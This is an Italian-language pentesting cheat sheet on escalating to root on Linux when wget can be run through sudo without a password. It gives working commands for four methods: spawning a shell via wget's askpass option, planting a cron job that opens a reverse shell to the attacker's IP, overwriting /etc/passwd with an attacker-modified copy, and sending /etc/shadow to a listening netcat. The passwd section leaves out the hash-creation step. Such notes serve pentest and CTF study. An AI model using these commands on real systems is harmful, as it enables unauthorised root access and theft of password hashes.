tags: wget Permessi_SUDO privilage_escalation Linux_Privilage_Escalation
Quando abbiamo i permessi NOPASSWD su un servizio come wget siamo a cavallo.
Abbiamo diversi metodi per scalare i privilegi, il primo consiste nel ottenere una shell:
Ottenere una Shell
1)
Digita i seguenti comandi uno dopo l’altro per ottenere una shell:
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0
2) Cron Jobs
Se il primo metodo non funziona prova con questo:
Ci creiamo un file con all’interno questo comando che andremo ad inserire nei cronjob della vittima:
nano shell
#Contenuto del file:
* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/[TUO_IP_ATTACCANTE]/4444 0>&1"Una volta creato ci mettiamo in ascolto sulla porta inserita nel comando precedente:
nc -lvnp 4444Ora ci creiamo un server web nella stessa cartella del file con il cronjob:
python3 -m http.serverAdesso dalla macchina vittima lanciamo il seguente comando:
sudo /usr/bin/wget http://[TUO_IP_ATTACCANTE]:8000/shell -O /etc/cron.d/shellQuesto comando ci scaricherà il nostro file con il cronjob e lo andrà inserire nella cartella /etc/cron.d, aspettiamo un minuto ed otterremo una shell di root nel terminale in ascolto con netcat.
3) /etc/passwd
Possiamo fare la stessa cosa, ma con il file /etc/passwd, praticamente ci creiamo una password hashata con python tramite i seguenti comandi:

Una volta creata la password possiamo mandare questo file alla nostra macchina attaccante, modificare il file con la nostra password e ricaricarlo sulla macchina vittima con il segunte comando:
sudo wget <indirzzoIPattaccante>:8000/passwd -O /etc/passwd
suLeggere file
Mettiti in ascolto tramite netcat:
nc -lvnp 80 > hashDalla macchina vittima lancia il seguente comando:
sudo /user/bin/wget --post-file=/etc/shadow <indirizzo attaccante>Dopo aver lanciato questo comando dovresti aver ottenuto il contenuto del file shadow salvato nel file hash della macchina attaccante